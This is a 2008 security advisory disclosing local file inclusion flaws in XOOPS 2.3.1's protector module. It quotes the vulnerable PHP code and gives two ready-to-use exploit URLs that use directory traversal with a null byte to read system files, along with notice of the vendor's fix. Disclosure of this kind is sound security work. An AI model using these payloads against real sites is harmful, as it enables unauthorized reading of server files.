[DSECRG-08-040] Multiple Local File Include Vulnerabilities in Xoops 2.3.x

["Digital Security Research Group [DSecRG]" <research@xxxxxxx>]

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-040


Application:                    XOOPS   
Versions Affected:              2.3.1
Vendor URL:                     http://www.xoops.org/
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       10.11.2008
Vendor response:                10.11.2008
Solution:                       YES
Date of Public Advisory:        08.12.2008
Authors:                        Digital Security Research Group [DSecRG] 
(research [at] dsec [dot] ru)



Description
***********

XOOPS has Multiple Local File Include vulnerabilities.



Details
*******

Local File Include vulnerability found in scripts:

xoops_lib/modules/protector/blocks.php
xoops_lib/modules/protector/main.php

Successful exploitation requires that "register_globals" is enabled.

Code
----
#################################################

$mytrustdirname = basename( dirname( __FILE__ ) ) ;
$mytrustdirpath = dirname( __FILE__ ) ;

// language files
$language = empty( $xoopsConfig['language'] ) ? 'english' : 
$xoopsConfig['language'] ;
if( file_exists( "$mydirpath/language/$language/main.php" ) ) {
        // user customized language file (already read by common.php)
        // include_once "$mydirpath/language/$language/main.php" ;
} else if( file_exists( "$mytrustdirpath/language/$language/main.php" ) ) {
        // default language file
        include_once "$mytrustdirpath/language/$language/main.php" ;
...

#################################################

For successful exploitation first condition in if..else statement must be not 
true.

Example:

http://[server]/[installdir]/xoops_lib/modules/protector/blocks.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00
http://[server]/[installdir]/xoops_lib/modules/protector/main.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00



Solution
********

Vendor fixed this flaw on 26.11.2008. 

XOOPS 2.3.2a Security Release can be download from Sourceforge repository:

https://sourceforge.net/project/showfiles.php?group_id=41586&package_id=153583&release_id=643010

Release notes:

http://www.xoops.org/modules/news/article.php?storyid=4540



About
*****

Digital Security is leading IT security company in Russia, providing 
information security consulting, audit and penetration testing services, risk 
analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and 
PCI DSS standards. Digital Security Research Group focuses on web application 
and database security problems with vulnerability reports, advisories and 
whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)